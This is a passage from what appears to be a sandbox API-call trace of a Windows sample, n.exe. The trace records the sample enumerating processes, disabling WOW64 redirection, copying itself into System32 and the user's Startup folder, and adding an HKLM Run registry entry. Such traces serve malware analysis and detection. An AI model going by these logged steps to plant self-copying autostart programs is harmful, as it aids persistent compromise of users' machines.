lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0041.352] lstrlenW (lpString="addition.exe") returned 12 [0041.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0041.352] lstrlenW (lpString="kept retirement.exe") returned 19 [0041.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0041.353] lstrlenW (lpString="lmmold.exe") returned 10 [0041.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0041.353] lstrlenW (lpString="soma weighted.exe") returned 17 [0041.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0041.354] lstrlenW (lpString="cartridge donation.exe") returned 22 [0041.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0041.354] lstrlenW (lpString="anti.exe") returned 8 [0041.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0041.355] lstrlenW (lpString="cashiersshot.exe") returned 16 [0041.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0041.355] lstrlenW (lpString="poundfi.exe") returned 11 [0041.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0041.355] lstrlenW (lpString="conditions_hired.exe") returned 20 [0041.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0041.356] lstrlenW (lpString="mercedes.exe") returned 12 [0041.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0041.357] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0041.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0041.357] lstrlenW (lpString="training_wiring.exe") returned 19 [0041.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0041.357] lstrlenW (lpString="democratic.exe") returned 14 [0041.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0041.358] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0041.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0041.358] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0041.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0041.359] lstrlenW (lpString="documented.exe") returned 14 [0041.359] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.359] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.359] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0041.360] lstrlenW (lpString="n.exe") returned 5 [0041.360] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0041.360] CloseHandle (hObject=0xe0) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5290 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f52d8 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5320 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5340 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5388 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f4a28 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4740 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4778 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4370 | out: hHeap=0x6c0000) returned 1 [0041.360] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4398 | out: hHeap=0x6c0000) returned 1 [0041.361] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d47c0 | out: hHeap=0x6c0000) returned 1 [0041.361] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d43c0 | out: hHeap=0x6c0000) returned 1 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x6fb450 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x70b458 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d43c0 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d43c0, Size=0x40) returned 0x6f69d0 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d43c0 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d4398 [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d4370 [0041.361] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6f6a18 [0041.361] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x70b458, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe")) returned 0x2b [0041.361] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x71b460 [0041.362] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x72b468 [0041.362] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.362] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d4370 [0041.362] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6f6a60 [0041.362] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a60, Size=0x80) returned 0x6f5290 [0041.362] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5290, Size=0x100) returned 0x6f7bd8 [0041.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.362] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7bd8 | out: hHeap=0x6c0000) returned 1 [0041.362] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\n.exe", lpDst=0x71b460, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\n.exe") returned 0x1a [0041.362] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72b468 | out: hHeap=0x6c0000) returned 1 [0041.362] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b460 | out: hHeap=0x6c0000) returned 1 [0041.362] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x2150020 [0041.362] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.363] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6d4370 [0041.363] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.363] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6f5958 [0041.363] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.363] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.363] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0041.363] lstrlenW (lpString="kernel32.dll") returned 12 [0041.363] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4370 | out: hHeap=0x6c0000) returned 1 [0041.363] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.363] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0041.363] CreateFileW (lpFileName="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.364] ReadFile (in: hFile=0xe0, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.380] WriteFile (in: hFile=0xe4, lpBuffer=0x2150020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.399] ReadFile (in: hFile=0xe0, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.399] CloseHandle (hObject=0xe4) returned 1 [0041.404] CloseHandle (hObject=0xe0) returned 1 [0041.405] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.405] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6f5958 [0041.405] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.405] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6f5908 [0041.405] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.405] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.405] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.405] lstrlenW (lpString="kernel32.dll") returned 12 [0041.405] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5908 | out: hHeap=0x6c0000) returned 1 [0041.405] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.405] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.405] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x2150020 | out: hHeap=0x6c0000) returned 1 [0041.409] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.410] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6f5958 [0041.410] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5958, Size=0x40) returned 0x6f6a60 [0041.410] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a60, Size=0x80) returned 0x71b478 [0041.410] lstrlenW (lpString="C:\\Windows\\System32\\n.exe") returned 25 [0041.410] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0041.410] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x5c) returned 0x6f5290 [0041.410] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0041.410] RegSetValueExW (in: hKey=0xe0, lpValueName="n.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\n.exe", cbData=0x32 | out: lpData="C:\\Windows\\System32\\n.exe") returned 0x0 [0041.410] RegCloseKey (hKey=0xe0) returned 0x0 [0041.410] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5290 | out: hHeap=0x6c0000) returned 1 [0041.410] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0041.410] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b478 | out: hHeap=0x6c0000) returned 1 [0041.410] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x71d460 [0041.410] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x72d468 [0041.410] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.410] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a28, Size=0x20) returned 0x6f5958 [0041.410] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5958, Size=0x40) returned 0x6f6a60 [0041.411] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a60, Size=0x80) returned 0x71b478 [0041.411] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x6f7bd8 [0041.411] lstrlenW (lpString="") returned 0 [0041.411] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.411] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8c) returned 0x6f7ce0 [0041.411] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0041.411] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x72d468, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x72d468*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0041.411] RegCloseKey (hKey=0xe0) returned 0x0 [0041.411] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7ce0 | out: hHeap=0x6c0000) returned 1 [0041.411] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.411] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8c) returned 0x6f7ce0 [0041.411] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0041.411] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x72d468, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0041.411] RegCloseKey (hKey=0xe4) returned 0x0 [0041.411] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7ce0 | out: hHeap=0x6c0000) returned 1 [0041.411] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0041.411] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.411] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7bd8 | out: hHeap=0x6c0000) returned 1 [0041.411] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x71d460, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x62 [0041.411] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d468 | out: hHeap=0x6c0000) returned 1 [0041.411] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71d460 | out: hHeap=0x6c0000) returned 1 [0041.411] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x2150020 [0041.412] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.412] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5958 [0041.412] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.412] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5908 [0041.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.412] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.412] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.412] lstrlenW (lpString="kernel32.dll") returned 12 [0041.412] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.412] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.412] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5908 | out: hHeap=0x6c0000) returned 1 [0041.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0041.414] ReadFile (in: hFile=0xe4, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.426] WriteFile (in: hFile=0xe8, lpBuffer=0x2150020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.464] ReadFile (in: hFile=0xe4, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.464] CloseHandle (hObject=0xe8) returned 1 [0041.469] CloseHandle (hObject=0xe4) returned 1 [0041.469] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.469] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5908 [0041.469] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.469] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5958 [0041.470] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.470] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.470] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.470] lstrlenW (lpString="kernel32.dll") returned 12 [0041.470] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.470] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.470] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5908 | out: hHeap=0x6c0000) returned 1 [0041.470] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x2150020 | out: hHeap=0x6c0000) returned 1 [0041.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x71d460 [0041.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x72d468 [0041.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.474] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5908 [0041.474] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5908, Size=0x40) returned 0x6f6a60 [0041.474] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a60, Size=0x80) returned 0x71b478 [0041.474] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x6f7bd8 [0041.474] lstrlenW (lpString="") returned 0 [0041.474] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.474] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8c) returned 0x6f7ce0 [0041.474] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0041.475] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x72d468, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0041.475] RegCloseKey (hKey=0xe4) returned 0x0 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7ce0 | out: hHeap=0x6c0000) returned 1 [0041.475] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0041.475] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell 